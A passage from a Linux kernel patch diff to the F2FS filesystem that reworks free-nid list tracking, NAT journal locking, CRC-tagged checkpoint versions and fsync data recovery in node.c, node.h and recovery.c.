- update_inode_page(inode); } int recover_inode_page(struct f2fs_sb_info *sbi, struct page *page) @@ -1759,15 +2078,18 @@ int recover_inode_page(struct f2fs_sb_info *sbi, struct page *page) if (unlikely(old_ni.blk_addr != NULL_ADDR)) return -EINVAL; - - ipage = grab_cache_page(NODE_MAPPING(sbi), ino); - if (!ipage) - return -ENOMEM; +retry: + ipage = f2fs_grab_cache_page(NODE_MAPPING(sbi), ino, false); + if (!ipage) { + congestion_wait(BLK_RW_ASYNC, HZ/50); + goto retry; + } /* Should not use this inode from free nid list */ - remove_free_nid(NM_I(sbi), ino); + remove_free_nid(sbi, ino); - SetPageUptodate(ipage); + if (!PageUptodate(ipage)) + SetPageUptodate(ipage); fill_node_footer(ipage, ino, ino, 0, true); src = F2FS_INODE(page); @@ -1798,7 +2120,6 @@ int restore_node_summary(struct f2fs_sb_info *sbi, struct f2fs_node *rn; struct f2fs_summary *sum_entry; block_t addr; - int bio_blocks = MAX_BIO_BLOCKS(sbi); int i, idx, last_offset, nrpages; /* scan the node segment */ @@ -1807,7 +2128,7 @@ int restore_node_summary(struct f2fs_sb_info *sbi, sum_entry = &sum->entries[0]; for (i = 0; i < last_offset; i += nrpages, addr += nrpages) { - nrpages = min(last_offset - i, bio_blocks); + nrpages = min(last_offset - i, BIO_MAX_PAGES); /* readahead node pages */ ra_meta_pages(sbi, addr, nrpages, META_POR, true); @@ -1833,28 +2154,39 @@ static void remove_nats_in_journal(struct f2fs_sb_info *sbi) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_HOT_DATA); - struct f2fs_summary_block *sum = curseg->sum_blk; + struct f2fs_journal *journal = curseg->journal; int i; - mutex_lock(&curseg->curseg_mutex); - for (i = 0; i < nats_in_cursum(sum); i++) { + down_write(&curseg->journal_rwsem); + for (i = 0; i < nats_in_cursum(journal); i++) { struct nat_entry *ne; struct f2fs_nat_entry raw_ne; - nid_t nid = le32_to_cpu(nid_in_journal(sum, i)); + nid_t nid = le32_to_cpu(nid_in_journal(journal, i)); - raw_ne = nat_in_journal(sum, i); + raw_ne = nat_in_journal(journal, i); - down_write(&nm_i->nat_tree_lock); ne = __lookup_nat_cache(nm_i, nid); if (!ne) { ne = grab_nat_entry(nm_i, nid); node_info_from_raw_nat(&ne->ni, &raw_ne); } + + /* + * if a free nat in journal has not been used after last + * checkpoint, we should remove it from available nids, + * since later we will add it again. + */ + if (!get_nat_flag(ne, IS_DIRTY) && + le32_to_cpu(raw_ne.block_addr) == NULL_ADDR) { + spin_lock(&nm_i->nid_list_lock); + nm_i->available_nids--; + spin_unlock(&nm_i->nid_list_lock); + } + __set_nat_cache_dirty(nm_i, ne); - up_write(&nm_i->nat_tree_lock); } - update_nats_in_cursum(sum, -i); - mutex_unlock(&curseg->curseg_mutex); + update_nats_in_cursum(journal, -i); + up_write(&curseg->journal_rwsem); } static void __adjust_nat_entry_set(struct nat_entry_set *nes, @@ -1879,24 +2211,23 @@ static void __flush_nat_entry_set(struct f2fs_sb_info *sbi, struct nat_entry_set *set) { struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_HOT_DATA); - struct f2fs_summary_block *sum = curseg->sum_blk; + struct f2fs_journal *journal = curseg->journal; nid_t start_nid = set->set * NAT_ENTRY_PER_BLOCK; bool to_journal = true; struct f2fs_nat_block *nat_blk; struct nat_entry *ne, *cur; struct page *page = NULL; - struct f2fs_nm_info *nm_i = NM_I(sbi); /* * there are two steps to flush nat entries: * #1, flush nat entries to journal in current hot data summary block. * #2, flush nat entries to nat page. */ - if (!__has_cursum_space(sum, set->entry_cnt, NAT_JOURNAL)) + if (!__has_cursum_space(journal, set->entry_cnt, NAT_JOURNAL)) to_journal = false; if (to_journal) { - mutex_lock(&curseg->curseg_mutex); + down_write(&curseg->journal_rwsem); } else { page = get_next_nat_page(sbi, start_nid); nat_blk = page_address(page); @@ -1913,35 +2244,33 @@ static void __flush_nat_entry_set(struct f2fs_sb_info *sbi, continue; if (to_journal) { - offset = lookup_journal_in_cursum(sum, + offset = lookup_journal_in_cursum(journal, NAT_JOURNAL, nid, 1); f2fs_bug_on(sbi, offset < 0); - raw_ne = &nat_in_journal(sum, offset); - nid_in_journal(sum, offset) = cpu_to_le32(nid); + raw_ne = &nat_in_journal(journal, offset); + nid_in_journal(journal, offset) = cpu_to_le32(nid); } else { raw_ne = &nat_blk->entries[nid - start_nid]; } raw_nat_from_node_info(raw_ne, &ne->ni); - - down_write(&NM_I(sbi)->nat_tree_lock); nat_reset_flag(ne); __clear_nat_cache_dirty(NM_I(sbi), ne); - up_write(&NM_I(sbi)->nat_tree_lock); - - if (nat_get_blkaddr(ne) == NULL_ADDR) + if (nat_get_blkaddr(ne) == NULL_ADDR) { add_free_nid(sbi, nid, false); + spin_lock(&NM_I(sbi)->nid_list_lock); + NM_I(sbi)->available_nids++; + spin_unlock(&NM_I(sbi)->nid_list_lock); + } } if (to_journal) - mutex_unlock(&curseg->curseg_mutex); + up_write(&curseg->journal_rwsem); else f2fs_put_page(page, 1); f2fs_bug_on(sbi, set->entry_cnt); - down_write(&nm_i->nat_tree_lock); radix_tree_delete(&NM_I(sbi)->nat_set_root, set->set); - up_write(&nm_i->nat_tree_lock); kmem_cache_free(nat_entry_set_slab, set); } @@ -1952,7 +2281,7 @@ void flush_nat_entries(struct f2fs_sb_info *sbi) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_HOT_DATA); - struct f2fs_summary_block *sum = curseg->sum_blk; + struct f2fs_journal *journal = curseg->journal; struct nat_entry_set *setvec[SETVEC_SIZE]; struct nat_entry_set *set, *tmp; unsigned int found; @@ -1961,29 +2290,32 @@ void flush_nat_entries(struct f2fs_sb_info *sbi) if (!nm_i->dirty_nat_cnt) return; + + down_write(&nm_i->nat_tree_lock); + /* * if there are no enough space in journal to store dirty nat * entries, remove all entries from journal and merge them * into nat entry set. */ - if (!__has_cursum_space(sum, nm_i->dirty_nat_cnt, NAT_JOURNAL)) + if (!__has_cursum_space(journal, nm_i->dirty_nat_cnt, NAT_JOURNAL)) remove_nats_in_journal(sbi); - down_write(&nm_i->nat_tree_lock); while ((found = __gang_lookup_nat_set(nm_i, set_idx, SETVEC_SIZE, setvec))) { unsigned idx; set_idx = setvec[found - 1]->set + 1; for (idx = 0; idx < found; idx++) __adjust_nat_entry_set(setvec[idx], &sets, - MAX_NAT_JENTRIES(sum)); + MAX_NAT_JENTRIES(journal)); } - up_write(&nm_i->nat_tree_lock); /* flush dirty nats in nat entry set */ list_for_each_entry_safe(set, tmp, &sets, set_list) __flush_nat_entry_set(sbi, set); + up_write(&nm_i->nat_tree_lock); + f2fs_bug_on(sbi, nm_i->dirty_nat_cnt); } @@ -2003,20 +2335,24 @@ static int init_node_manager(struct f2fs_sb_info *sbi) nm_i->max_nid = NAT_ENTRY_PER_BLOCK * nat_blocks; /* not used nids: 0, node, meta, (and root counted as valid node) */ - nm_i->available_nids = nm_i->max_nid - F2FS_RESERVED_NODE_NUM; - nm_i->fcnt = 0; + nm_i->available_nids = nm_i->max_nid - sbi->total_valid_node_count - + F2FS_RESERVED_NODE_NUM; + nm_i->nid_cnt[FREE_NID_LIST] = 0; + nm_i->nid_cnt[ALLOC_NID_LIST] = 0; nm_i->nat_cnt = 0; nm_i->ram_thresh = DEF_RAM_THRESHOLD; nm_i->ra_nid_pages = DEF_RA_NID_PAGES; + nm_i->dirty_nats_ratio = DEF_DIRTY_NAT_RATIO_THRESHOLD; INIT_RADIX_TREE(&nm_i->free_nid_root, GFP_ATOMIC); - INIT_LIST_HEAD(&nm_i->free_nid_list); + INIT_LIST_HEAD(&nm_i->nid_list[FREE_NID_LIST]); + INIT_LIST_HEAD(&nm_i->nid_list[ALLOC_NID_LIST]); INIT_RADIX_TREE(&nm_i->nat_root, GFP_NOIO); INIT_RADIX_TREE(&nm_i->nat_set_root, GFP_NOIO); INIT_LIST_HEAD(&nm_i->nat_entries); mutex_init(&nm_i->build_lock); - spin_lock_init(&nm_i->free_nid_list_lock); + spin_lock_init(&nm_i->nid_list_lock); init_rwsem(&nm_i->nat_tree_lock); nm_i->next_scan_nid = le32_to_cpu(sbi->ckpt->next_free_nid); @@ -2044,7 +2380,7 @@ int build_node_manager(struct f2fs_sb_info *sbi) if (err) return err; - build_free_nids(sbi); + build_free_nids(sbi, true); return 0; } @@ -2061,17 +2397,18 @@ void destroy_node_manager(struct f2fs_sb_info *sbi) return; /* destroy free nid list */ - spin_lock(&nm_i->free_nid_list_lock); - list_for_each_entry_safe(i, next_i, &nm_i->free_nid_list, list) { - f2fs_bug_on(sbi, i->state == NID_ALLOC); - __del_from_free_nid_list(nm_i, i); - nm_i->fcnt--; - spin_unlock(&nm_i->free_nid_list_lock); + spin_lock(&nm_i->nid_list_lock); + list_for_each_entry_safe(i, next_i, &nm_i->nid_list[FREE_NID_LIST], + list) { + __remove_nid_from_list(sbi, i, FREE_NID_LIST, false); + spin_unlock(&nm_i->nid_list_lock); kmem_cache_free(free_nid_slab, i); - spin_lock(&nm_i->free_nid_list_lock); + spin_lock(&nm_i->nid_list_lock); } - f2fs_bug_on(sbi, nm_i->fcnt); - spin_unlock(&nm_i->free_nid_list_lock); + f2fs_bug_on(sbi, nm_i->nid_cnt[FREE_NID_LIST]); + f2fs_bug_on(sbi, nm_i->nid_cnt[ALLOC_NID_LIST]); + f2fs_bug_on(sbi, !list_empty(&nm_i->nid_list[ALLOC_NID_LIST])); + spin_unlock(&nm_i->nid_list_lock); /* destroy nat cache */ down_write(&nm_i->nat_tree_lock); diff --git a/fs/f2fs/node.h b/fs/f2fs/node.h index e4fffd2d98c4b..e7997e2403660 100644 --- a/fs/f2fs/node.h +++ b/fs/f2fs/node.h @@ -15,15 +15,21 @@ #define NAT_BLOCK_OFFSET(start_nid) (start_nid / NAT_ENTRY_PER_BLOCK) /* # of pages to perform synchronous readahead before building free nids */ -#define FREE_NID_PAGES 4 +#define FREE_NID_PAGES 8 +#define MAX_FREE_NIDS (NAT_ENTRY_PER_BLOCK * FREE_NID_PAGES) -#define DEF_RA_NID_PAGES 4 /* # of nid pages to be readaheaded */ +#define DEF_RA_NID_PAGES 0 /* # of nid pages to be readaheaded */ /* maximum readahead size for node during getting data blocks */ #define MAX_RA_NODE 128 /* control the memory footprint threshold (10MB per 1GB ram) */ -#define DEF_RAM_THRESHOLD 10 +#define DEF_RAM_THRESHOLD 1 + +/* control dirty nats ratio threshold (default: 10% over max nid count) */ +#define DEF_DIRTY_NAT_RATIO_THRESHOLD 10 +/* control total # of nats */ +#define DEF_NAT_CACHE_THRESHOLD 100000 /* vector size for gang look-up from nat cache that consists of radix tree */ #define NATVEC_SIZE 64 @@ -117,6 +123,17 @@ static inline void raw_nat_from_node_info(struct f2fs_nat_entry *raw_ne, raw_ne->version = ni->version; } +static inline bool excess_dirty_nats(struct f2fs_sb_info *sbi) +{ + return NM_I(sbi)->dirty_nat_cnt >= NM_I(sbi)->max_nid * + NM_I(sbi)->dirty_nats_ratio / 100; +} + +static inline bool excess_cached_nats(struct f2fs_sb_info *sbi) +{ + return NM_I(sbi)->nat_cnt >= DEF_NAT_CACHE_THRESHOLD; +} + enum mem_type { FREE_NIDS, /* indicates the free nid list */ NAT_ENTRIES, /* indicates the cached nat entry */ @@ -152,14 +169,15 @@ static inline void next_free_nid(struct f2fs_sb_info *sbi, nid_t *nid) struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *fnid; - spin_lock(&nm_i->free_nid_list_lock); - if (nm_i->fcnt <= 0) { - spin_unlock(&nm_i->free_nid_list_lock); + spin_lock(&nm_i->nid_list_lock); + if (nm_i->nid_cnt[FREE_NID_LIST] <= 0) { + spin_unlock(&nm_i->nid_list_lock); return; } - fnid = list_entry(nm_i->free_nid_list.next, struct free_nid, list); + fnid = list_entry(nm_i->nid_list[FREE_NID_LIST].next, + struct free_nid, list); *nid = fnid->nid; - spin_unlock(&nm_i->free_nid_list_lock); + spin_unlock(&nm_i->nid_list_lock); } /* @@ -183,7 +201,7 @@ static inline pgoff_t current_nat_addr(struct f2fs_sb_info *sbi, nid_t start) block_addr = (pgoff_t)(nm_i->nat_blkaddr + (seg_off << sbi->log_blocks_per_seg << 1) + - (block_off & ((1 << sbi->log_blocks_per_seg) - 1))); + (block_off & (sbi->blocks_per_seg - 1))); if (f2fs_test_bit(block_off, nm_i->nat_bitmap)) block_addr += sbi->blocks_per_seg; @@ -212,6 +230,37 @@ static inline void set_to_next_nat(struct f2fs_nm_info *nm_i, nid_t start_nid) f2fs_change_bit(block_off, nm_i->nat_bitmap); } +static inline nid_t ino_of_node(struct page *node_page) +{ + struct f2fs_node *rn = F2FS_NODE(node_page); + return le32_to_cpu(rn->footer.ino); +} + +static inline nid_t nid_of_node(struct page *node_page) +{ + struct f2fs_node *rn = F2FS_NODE(node_page); + return le32_to_cpu(rn->footer.nid); +} + +static inline unsigned int ofs_of_node(struct page *node_page) +{ + struct f2fs_node *rn = F2FS_NODE(node_page); + unsigned flag = le32_to_cpu(rn->footer.flag); + return flag >> OFFSET_BIT_SHIFT; +} + +static inline __u64 cpver_of_node(struct page *node_page) +{ + struct f2fs_node *rn = F2FS_NODE(node_page); + return le64_to_cpu(rn->footer.cp_ver); +} + +static inline block_t next_blkaddr_of_node(struct page *node_page) +{ + struct f2fs_node *rn = F2FS_NODE(node_page); + return le32_to_cpu(rn->footer.next_blkaddr); +} + static inline void fill_node_footer(struct page *page, nid_t nid, nid_t ino, unsigned int ofs, bool reset) { @@ -242,40 +291,30 @@ static inline void fill_node_footer_blkaddr(struct page *page, block_t blkaddr) { struct f2fs_checkpoint *ckpt = F2FS_CKPT(F2FS_P_SB(page)); struct f2fs_node *rn = F2FS_NODE(page); + size_t crc_offset = le32_to_cpu(ckpt->checksum_offset); + __u64 cp_ver = le64_to_cpu(ckpt->checkpoint_ver); - rn->footer.cp_ver = ckpt->checkpoint_ver; + if (__is_set_ckpt_flags(ckpt, CP_CRC_RECOVERY_FLAG)) { + __u64 crc = le32_to_cpu(*((__le32 *) + ((unsigned char *)ckpt + crc_offset))); + cp_ver |= (crc << 32); + } + rn->footer.cp_ver = cpu_to_le64(cp_ver); rn->footer.next_blkaddr = cpu_to_le32(blkaddr); } -static inline nid_t ino_of_node(struct page *node_page) -{ - struct f2fs_node *rn = F2FS_NODE(node_page); - return le32_to_cpu(rn->footer.ino); -} - -static inline nid_t nid_of_node(struct page *node_page) -{ - struct f2fs_node *rn = F2FS_NODE(node_page); - return le32_to_cpu(rn->footer.nid); -} - -static inline unsigned int ofs_of_node(struct page *node_page) -{ - struct f2fs_node *rn = F2FS_NODE(node_page); - unsigned flag = le32_to_cpu(rn->footer.flag); - return flag >> OFFSET_BIT_SHIFT; -} - -static inline unsigned long long cpver_of_node(struct page *node_page) +static inline bool is_recoverable_dnode(struct page *page) { - struct f2fs_node *rn = F2FS_NODE(node_page); - return le64_to_cpu(rn->footer.cp_ver); -} + struct f2fs_checkpoint *ckpt = F2FS_CKPT(F2FS_P_SB(page)); + size_t crc_offset = le32_to_cpu(ckpt->checksum_offset); + __u64 cp_ver = cur_cp_version(ckpt); -static inline block_t next_blkaddr_of_node(struct page *node_page) -{ - struct f2fs_node *rn = F2FS_NODE(node_page); - return le32_to_cpu(rn->footer.next_blkaddr); + if (__is_set_ckpt_flags(ckpt, CP_CRC_RECOVERY_FLAG)) { + __u64 crc = le32_to_cpu(*((__le32 *) + ((unsigned char *)ckpt + crc_offset))); + cp_ver |= (crc << 32); + } + return cp_ver == cpver_of_node(page); } /* @@ -317,17 +356,17 @@ static inline bool IS_DNODE(struct page *node_page) return true; } -static inline void set_nid(struct page *p, int off, nid_t nid, bool i) +static inline int set_nid(struct page *p, int off, nid_t nid, bool i) { struct f2fs_node *rn = F2FS_NODE(p); - f2fs_wait_on_page_writeback(p, NODE); + f2fs_wait_on_page_writeback(p, NODE, true); if (i) rn->i.i_nid[off - NODE_DIR1_BLOCK] = cpu_to_le32(nid); else rn->in.nid[off] = cpu_to_le32(nid); - set_page_dirty(p); + return set_page_dirty(p); } static inline nid_t get_nid(struct page *p, int off, bool i) @@ -370,6 +409,21 @@ static inline int is_node(struct page *page, int type) #define is_fsync_dnode(page) is_node(page, FSYNC_BIT_SHIFT) #define is_dent_dnode(page) is_node(page, DENT_BIT_SHIFT) +static inline int is_inline_node(struct page *page) +{ + return PageChecked(page); +} + +static inline void set_inline_node(struct page *page) +{ + SetPageChecked(page); +} + +static inline void clear_inline_node(struct page *page) +{ + ClearPageChecked(page); +} + static inline void set_cold_node(struct inode *inode, struct page *page) { struct f2fs_node *rn = F2FS_NODE(page); diff --git a/fs/f2fs/recovery.c b/fs/f2fs/recovery.c index 6a3f04fa34e30..192da3de4fbfc 100644 --- a/fs/f2fs/recovery.c +++ b/fs/f2fs/recovery.c @@ -49,8 +49,9 @@ static struct kmem_cache *fsync_entry_slab; bool space_for_roll_forward(struct f2fs_sb_info *sbi) { - if (sbi->last_valid_block_count + sbi->alloc_valid_block_count - > sbi->user_block_count) + s64 nalloc = percpu_counter_sum_positive(&sbi->alloc_valid_block_count); + + if (sbi->last_valid_block_count + nalloc > sbi->user_block_count) return false; return true; } @@ -67,42 +68,71 @@ static struct fsync_inode_entry *get_fsync_inode(struct list_head *head, return NULL; } -static int recover_dentry(struct inode *inode, struct page *ipage) +static struct fsync_inode_entry *add_fsync_inode(struct f2fs_sb_info *sbi, + struct list_head *head, nid_t ino) +{ + struct inode *inode; + struct fsync_inode_entry *entry; + + inode = f2fs_iget_retry(sbi->sb, ino); + if (IS_ERR(inode)) + return ERR_CAST(inode); + + entry = f2fs_kmem_cache_alloc(fsync_entry_slab, GFP_F2FS_ZERO); + entry->inode = inode; + list_add_tail(&entry->list, head); + + return entry; +} + +static void del_fsync_inode(struct fsync_inode_entry *entry) +{ + iput(entry->inode); + list_del(&entry->list); + kmem_cache_free(fsync_entry_slab, entry); +} + +static int recover_dentry(struct inode *inode, struct page *ipage, + struct list_head *dir_list) { struct f2fs_inode *raw_inode = F2FS_INODE(ipage); nid_t pino = le32_to_cpu(raw_inode->i_pino); struct f2fs_dir_entry *de; - struct qstr name; + struct fscrypt_name fname; struct page *page; struct inode *dir, *einode; + struct fsync_inode_entry *entry; int err = 0; + char *name; - dir = f2fs_iget(inode->i_sb, pino); - if (IS_ERR(dir)) { - err = PTR_ERR(dir); - goto out; + entry = get_fsync_inode(dir_list, pino); + if (!entry) { + entry = add_fsync_inode(F2FS_I_SB(inode), dir_list, pino); + if (IS_ERR(entry)) { + dir = ERR_CAST(entry); + err = PTR_ERR(entry); + goto out; + } } - if (file_enc_name(inode)) { - iput(dir); - return 0; - } + dir = entry->inode; - name.len = le32_to_cpu(raw_inode->i_namelen); - name.name = raw_inode->i_name; + memset(&fname, 0, sizeof(struct fscrypt_name)); + fname.disk_name.len = le32_to_cpu(raw_inode->i_namelen); + fname.disk_name.name = raw_inode->i_name; - if (unlikely(name.len > F2FS_NAME_LEN)) { + if (unlikely(fname.disk_name.len > F2FS_NAME_LEN)) { WARN_ON(1); err = -ENAMETOOLONG; - goto out_err; + goto out; } retry: - de = f2fs_find_entry(dir, &name, &page); + de = __f2fs_find_entry(dir, &fname, &page); if (de && inode->i_ino == le32_to_cpu(de->ino)) goto out_unmap_put; if (de) { - einode = f2fs_iget(inode->i_sb, le32_to_cpu(de->ino)); + einode = f2fs_iget_retry(inode->i_sb, le32_to_cpu(de->ino)); if (IS_ERR(einode)) { WARN_ON(1); err = PTR_ERR(einode); @@ -118,29 +148,27 @@ static int recover_dentry(struct inode *inode, struct page *ipage) f2fs_delete_entry(de, page, dir, einode); iput(einode); goto retry; - } - err = __f2fs_add_link(dir, &name, inode, inode->i_ino, inode->i_mode); - if (err) - goto out_err; - - if (is_inode_flag_set(F2FS_I(dir), FI_DELAY_IPUT)) { - iput(dir); + } else if (IS_ERR(page)) { + err = PTR_ERR(page); } else { - add_dirty_dir_inode(dir); - set_inode_flag(F2FS_I(dir), FI_DELAY_IPUT); + err = __f2fs_do_add_link(dir, &fname, inode, + inode->i_ino, inode->i_mode); } - + if (err == -ENOMEM) + goto retry; goto out; out_unmap_put: f2fs_dentry_kunmap(dir, page); f2fs_put_page(page, 0); -out_err: - iput(dir); out: + if (file_enc_name(inode)) + name = ""; + else + name = raw_inode->i_name; f2fs_msg(inode->i_sb, KERN_NOTICE, "%s: ino = %x, name = %s, dir = %lx, err = %d", - __func__, ino_of_node(ipage), raw_inode->i_name, + __func__, ino_of_node(ipage), name, IS_ERR(dir) ? 0 : dir->i_ino, err); return err; } @@ -151,14 +179,16 @@ static void recover_inode(struct inode *inode, struct page *page) char *name; inode->i_mode = le16_to_cpu(raw->i_mode); - i_size_write(inode, le64_to_cpu(raw->i_size)); - inode->i_atime.tv_sec = le64_to_cpu(raw->i_mtime); + f2fs_i_size_write(inode, le64_to_cpu(raw->i_size)); + inode->i_atime.tv_sec = le64_to_cpu(raw->i_atime); inode->i_ctime.tv_sec = le64_to_cpu(raw->i_ctime); inode->i_mtime.tv_sec = le64_to_cpu(raw->i_mtime); - inode->i_atime.tv_nsec = le32_to_cpu(raw->i_mtime_nsec); + inode->i_atime.tv_nsec = le32_to_cpu(raw->i_atime_nsec); inode->i_ctime.tv_nsec = le32_to_cpu(raw->i_ctime_nsec); inode->i_mtime.tv_nsec = le32_to_cpu(raw->i_mtime_nsec); + F2FS_I(inode)->i_advise = raw->i_advise; + if (file_enc_name(inode)) name = ""; else @@ -170,7 +200,6 @@ static void recover_inode(struct inode *inode, struct page *page) static int find_fsync_dnodes(struct f2fs_sb_info *sbi, struct list_head *head) { - unsigned long long cp_ver = cur_cp_version(F2FS_CKPT(sbi)); struct curseg_info *curseg; struct page *page = NULL; block_t blkaddr; @@ -180,8 +209,6 @@ static int find_fsync_dnodes(struct f2fs_sb_info *sbi, struct list_head *head) curseg = CURSEG_I(sbi, CURSEG_WARM_NODE); blkaddr = NEXT_FREE_BLKADDR(sbi, curseg); - ra_meta_pages(sbi, blkaddr, 1, META_POR, true); - while (1) { struct fsync_inode_entry *entry; @@ -190,7 +217,7 @@ static int find_fsync_dnodes(struct f2fs_sb_info *sbi, struct list_head *head) page = get_tmp_page(sbi, blkaddr); - if (cp_ver != cpver_of_node(page)) + if (!is_recoverable_dnode(page)) break; if (!is_fsync_dnode(page)) @@ -204,35 +231,24 @@ static int find_fsync_dnodes(struct f2fs_sb_info *sbi, struct list_head *head) break; } - /* add this fsync inode to the list */ - entry = kmem_cache_alloc(fsync_entry_slab, GFP_F2FS_ZERO); - if (!entry) { - err = -ENOMEM; - break; - } /* * CP | dnode(F) | inode(DF) * For this case, we should not give up now. */ - entry->inode = f2fs_iget(sbi->sb, ino_of_node(page)); - if (IS_ERR(entry->inode)) { - err = PTR_ERR(entry->inode); - kmem_cache_free(fsync_entry_slab, entry); + entry = add_fsync_inode(sbi, head, ino_of_node(page)); + if (IS_ERR(entry)) { + err = PTR_ERR(entry); if (err == -ENOENT) { err = 0; goto next; } break; } - list_add_tail(&entry->list, head); } entry->blkaddr = blkaddr; - if (IS_INODE(page)) { - entry->last_inode = blkaddr; - if (is_dent_dnode(page)) - entry->last_dentry = blkaddr; - } + if (IS_INODE(page) && is_dent_dnode(page)) + entry->last_dentry = blkaddr; next: /* check next segment */ blkaddr = next_blkaddr_of_node(page); @@ -248,11 +264,8 @@ static void destroy_fsync_dnodes(struct list_head *head) { struct fsync_inode_entry *entry, *tmp; - list_for_each_entry_safe(entry, tmp, head, list) { - iput(entry->inode); - list_del(&entry->list); - kmem_cache_free(fsync_entry_slab, entry); - } + list_for_each_entry_safe(entry, tmp, head, list) + del_fsync_inode(entry); } static int check_index_in_prev_nodes(struct f2fs_sb_info *sbi, @@ -314,15 +327,14 @@ static int check_index_in_prev_nodes(struct f2fs_sb_info *sbi, if (ino != dn->inode->i_ino) { /* Deallocate previous index in the node page */ - inode = f2fs_iget(sbi->sb, ino); + inode = f2fs_iget_retry(sbi->sb, ino); if (IS_ERR(inode)) return PTR_ERR(inode); } else { inode = dn->inode; } - bidx = start_bidx_of_node(offset, F2FS_I(inode)) + - le16_to_cpu(sum.ofs_in_node); + bidx = start_bidx_of_node(offset, inode) + le16_to_cpu(sum.ofs_in_node); /* * if inode page is locked, unlock temporarily, but its reference @@ -357,10 +369,9 @@ static int check_index_in_prev_nodes(struct f2fs_sb_info *sbi, static int do_recover_data(struct f2fs_sb_info *sbi, struct inode *inode, struct page *page, block_t blkaddr) { - struct f2fs_inode_info *fi = F2FS_I(inode); - unsigned int start, end; struct dnode_of_data dn; struct node_info ni; + unsigned int start, end; int err = 0, recovered = 0; /* step 1: recover xattr */ @@ -380,16 +391,21 @@ static int do_recover_data(struct f2fs_sb_info *sbi, struct inode *inode, goto out; /* step 3: recover data indices */ - start = start_bidx_of_node(ofs_of_node(page), fi); - end = start + ADDRS_PER_PAGE(page, fi); + start = start_bidx_of_node(ofs_of_node(page), inode); + end = start + ADDRS_PER_PAGE(page, inode); set_new_dnode(&dn, inode, NULL, NULL, 0); - +retry_dn: err = get_dnode_of_data(&dn, start, ALLOC_NODE); - if (err) + if (err) { + if (err == -ENOMEM) { + congestion_wait(BLK_RW_ASYNC, HZ/50); + goto retry_dn; + } goto out; + } - f2fs_wait_on_page_writeback(dn.node_page, NODE); + f2fs_wait_on_page_writeback(dn.node_page, NODE, true); get_node_info(sbi, dn.nid, &ni); f2fs_bug_on(sbi, ni.ino != ino_of_node(page)); @@ -411,14 +427,17 @@ static int do_recover_data(struct f2fs_sb_info *sbi, struct inode *inode, continue; } + if (!file_keep_isize(inode) && + (i_size_read(inode) <= (start << PAGE_SHIFT))) + f2fs_i_size_write(inode, (start + 1) << PAGE_SHIFT); + /* * dest is reserved block, invalidate src block * and then reserve one new block in dnode page. */ if (dest == NEW_ADDR) { truncate_data_blocks_range(&dn, 1); - err = reserve_new_block(&dn); - f2fs_bug_on(sbi, err); + reserve_new_block(&dn); continue; } @@ -427,25 +446,33 @@ static int do_recover_data(struct f2fs_sb_info *sbi, struct inode *inode, if (src == NULL_ADDR) { err = reserve_new_block(&dn); +#ifdef CONFIG_F2FS_FAULT_INJECTION + while (err) + err = reserve_new_block(&dn); +#endif /* We should not get -ENOSPC */ f2fs_bug_on(sbi, err); + if (err) + goto err; } - +retry_prev: /* Check the previous node page having this index */ err = check_index_in_prev_nodes(sbi, dest, &dn); - if (err) + if (err) { + if (err == -ENOMEM) { + congestion_wait(BLK_RW_ASYNC, HZ/50); + goto retry_prev; + } goto err; + } /* write dummy data page */ f2fs_replace_block(sbi, &dn, src, dest, - ni.version, false); + ni.version, false, false); recovered++; } } - if (IS_INODE(dn.node_page)) - sync_inode_page(&dn); - copy_node_footer(dn.node_page, page); fill_node_footer(dn.node_page, dn.nid, ni.ino, ofs_of_node(page), false); @@ -454,22 +481,23 @@ static int do_recover_data(struct f2fs_sb_info *sbi, struct inode *inode, f2fs_put_dnode(&dn); out: f2fs_msg(sbi->sb, KERN_NOTICE, - "recover_data: ino = %lx, recovered = %d blocks, err = %d", - inode->i_ino, recovered, err); + "recover_data: ino = %lx (i_size: %s) recovered = %d, err = %d", + inode->i_ino, + file_keep_isize(inode) ? "keep" : "recover", + recovered, err); return err; } -static int recover_data(struct f2fs_sb_info *sbi, - struct list_head *head, int type) +static int recover_data(struct f2fs_sb_info *sbi, struct list_head *inode_list, + struct list_head *dir_list) { - unsigned long long cp_ver = cur_cp_version(F2FS_CKPT(sbi)); struct curseg_info *curseg; struct page *page = NULL; int err = 0; block_t blkaddr; /* get node pages in the current segment */ - curseg = CURSEG_I(sbi, type); + curseg = CURSEG_I(sbi, CURSEG_WARM_NODE); blkaddr = NEXT_FREE_BLKADDR(sbi, curseg); while (1) { @@ -482,12 +510,12 @@ static int recover_data(struct f2fs_sb_info *sbi, page = get_tmp_page(sbi, blkaddr); - if (cp_ver != cpver_of_node(page)) { + if (!is_recoverable_dnode(page)) { f2fs_put_page(page, 1); break; } - entry = get_fsync_inode(head, ino_of_node(page)); + entry = get_fsync_inode(inode_list, ino_of_node(page)); if (!entry) goto next; /* @@ -495,10 +523,10 @@ static int recover_data(struct f2fs_sb_info *sbi, * In this case, we can lose the latest inode(x). * So, call recover_inode for the inode update. */ - if (entry->last_inode == blkaddr) + if (IS_INODE(page)) recover_inode(entry->inode, page); if (entry->last_dentry == blkaddr) { - err = recover_dentry(entry->inode, page); + err = recover_dentry(entry->inode, page, dir_list); if (err) { f2fs_put_page(page, 1); break; @@ -510,11 +538,8 @@ static int recover_data(struct f2fs_sb_info *sbi, break; } - if (entry->blkaddr == blkaddr) { - iput(entry->inode); - list_del(&entry->list); - kmem_cache_free(fsync_entry_slab, entry); - } + if (entry->blkaddr == blkaddr) + del_fsync_inode(entry); next: /* check next segment */ blkaddr = next_blkaddr_of_node(page); @@ -525,12 +550,14 @@ static int recover_data(struct f2fs_sb_info *sbi, return err; } -int recover_fsync_data(struct f2fs_sb_info *sbi) +int recover_fsync_data(struct f2fs_sb_info *sbi, bool check_only) { struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_WARM_NODE); struct list_head inode_list; + struct list_head dir_list; block_t blkaddr; int err; + int ret = 0; bool need_writecp = false; fsync_entry_slab = f2fs_kmem_cache_create("f2fs_fsync_inode_entry", @@ -539,6 +566,7 @@ int recover_fsync_data(struct f2fs_sb_info *sbi) return -ENOMEM; INIT_LIST_HEAD(&inode_list); + INIT_LIST_HEAD(&dir_list); /* prevent checkpoint */ mutex_lock(&sbi->cp_mutex); @@ -547,25 +575,26 @@ int recover_fsync_data(struct f2fs_sb_info *sbi) /* step #1: find fsynced inode numbers */ err = 